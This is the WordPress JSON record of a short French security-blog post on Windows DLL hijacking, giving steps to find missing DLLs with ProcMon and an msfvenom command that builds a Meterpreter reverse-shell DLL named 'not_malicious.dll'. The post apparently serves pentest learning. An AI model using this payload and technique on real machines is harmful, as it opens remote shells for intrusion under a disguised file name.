{"id":761,"date":"2021-08-03T08:18:42","date_gmt":"2021-08-03T13:18:42","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=761"},"modified":"2021-08-03T11:52:56","modified_gmt":"2021-08-03T16:52:56","slug":"dll-hijacking","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/08\/03\/dll-hijacking\/","title":{"rendered":"DLL Hijacking"},"content":{"rendered":"<p>\u00c9tapes pour r\u00e9ussir l&rsquo;injection de DLL sous windows<\/p>\n<ul>\n<li>Identifier l&rsquo;application vuln\u00e9rable et son emplacement<\/li>\n<li>Identifer le ID du processus<\/li>\n<li>Identifier les DLL vuln\u00e9rables qui peuvent \u00eatre hijack\u00e9s<\/li>\n<li>Remplacer la DLL d&rsquo;origine <\/li>\n<\/ul>\n<p>G\u00e9n\u00e9ration d&rsquo;une DLL pour cr\u00e9ation d&rsquo;une session meterpreter<br \/>\n<code class=\"preserve-code-formatting\">sudo msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=127.0.0.1 LPORT=53 -f dll -o not_malicious.dll<\/code><\/p>\n<p>Conditions pour qu&rsquo;une DLL soit vuln\u00e9rable<br \/>\n<pre><code class=\"preserve-code-formatting\">Doit \u00eatre d\u00e9finie par l&#039;application\nSe termine par .DLL\nDoit \u00eatre ex\u00e9cut\u00e9e par l&#039;application\nLa DLL n&#039;existe pas sur le syst\u00e8eme\nPrivil\u00e8ge d&#039;\u00e9criture \u00e0 l&#039;emplacement de la DLL <\/code><\/pre><\/p>\n<p>Trouver des DLLs vuln\u00e9rables avec l&rsquo;utilitaire ProcMon<br \/>\nfilter > Filter. Mettre Process Name, Contains et le nom de l&rsquo;application dans le filtre.<\/p>\n<p>Nous pouvons maintenant filtrer de nouveau avec<br \/>\nPath, ends with, .dll<\/p>\n<p>Ce que nous voyons dans la colonne \u00ab\u00a0Result\u00a0\u00bb avec <em>NAME NOT FOUND<\/em> signifie que le logiciel tente de charger une DLL, mais ne la trouve pas.<\/p>\n<p>Nous pouvons utiliser aussi un filtre<br \/>\nResult, contains, NAME NOT FOUND <\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00c9tapes pour r\u00e9ussir l&rsquo;injection de DLL sous windows Identifier l&rsquo;application vuln\u00e9rable et son emplacement Identifer le ID du processus Identifier les DLL vuln\u00e9rables qui peuvent \u00eatre hijack\u00e9s Remplacer la DLL d&rsquo;origine G\u00e9n\u00e9ration d&rsquo;une DLL pour cr\u00e9ation d&rsquo;une session meterpreter sudo msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=127.0.0.1 LPORT=53 -f dll -o not_malicious.dll Conditions pour qu&rsquo;une DLL soit vuln\u00e9rable Doit \u00eatre d\u00e9finie par l&#039;application Se termine par .DLL Doit \u00eatre ex\u00e9cut\u00e9e par l&#039;application La DLL n&#039;existe pas sur le syst\u00e8eme Privil\u00e8ge d&#039;\u00e9criture \u00e0 l&#039;emplacement de la DLL Trouver des DLLs vuln\u00e9rables avec l&rsquo;utilitaire ProcMon filter > Filter. Mettre Process Name, Contains et le nom <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,17],"tags":[],"class_list":["post-761","post","type-post","status-publish","format-standard","hentry","category-exploit","category-windows"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>DLL Hijacking - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/08\/03\/dll-hijacking\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"DLL Hijacking - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"\u00c9tapes pour r\u00e9ussir l&rsquo;injection de DLL sous windows Identifier l&rsquo;application vuln\u00e9rable et son emplacement Identifer le ID du processus Identifier les DLL vuln\u00e9rables qui peuvent \u00eatre hijack\u00e9s Remplacer la DLL d&rsquo;origine G\u00e9n\u00e9ration d&rsquo;une DLL pour cr\u00e9ation d&rsquo;une session meterpreter sudo msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=127.0.0.1 LPORT=53 -f dll -o not_malicious.dll Conditions pour qu&rsquo;une DLL soit vuln\u00e9rable Doit \u00eatre d\u00e9finie par l&#039;application Se termine par .DLL Doit \u00eatre ex\u00e9cut\u00e9e par l&#039;application La DLL n&#039;existe pas sur le syst\u00e8eme Privil\u00e8ge d&#039;\u00e9criture \u00e0 l&#039;emplacement de la DLL Trouver des DLLs vuln\u00e9rables avec l&rsquo;utilitaire ProcMon filter &gt; Filter. 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S\u00e9curiser votre site","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.searchevolution.com\/security\/2021\/08\/03\/dll-hijacking\/","og_locale":"fr_CA","og_type":"article","og_title":"DLL Hijacking - S\u00e9curiser votre site","og_description":"\u00c9tapes pour r\u00e9ussir l&rsquo;injection de DLL sous windows Identifier l&rsquo;application vuln\u00e9rable et son emplacement Identifer le ID du processus Identifier les DLL vuln\u00e9rables qui peuvent \u00eatre hijack\u00e9s Remplacer la DLL d&rsquo;origine G\u00e9n\u00e9ration d&rsquo;une DLL pour cr\u00e9ation d&rsquo;une session meterpreter sudo msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=127.0.0.1 LPORT=53 -f dll -o not_malicious.dll Conditions pour qu&rsquo;une DLL soit vuln\u00e9rable Doit \u00eatre d\u00e9finie par l&#039;application Se termine par .DLL Doit \u00eatre ex\u00e9cut\u00e9e par l&#039;application La DLL n&#039;existe pas sur le syst\u00e8eme Privil\u00e8ge d&#039;\u00e9criture \u00e0 l&#039;emplacement de la DLL Trouver des DLLs vuln\u00e9rables avec l&rsquo;utilitaire ProcMon filter > Filter. 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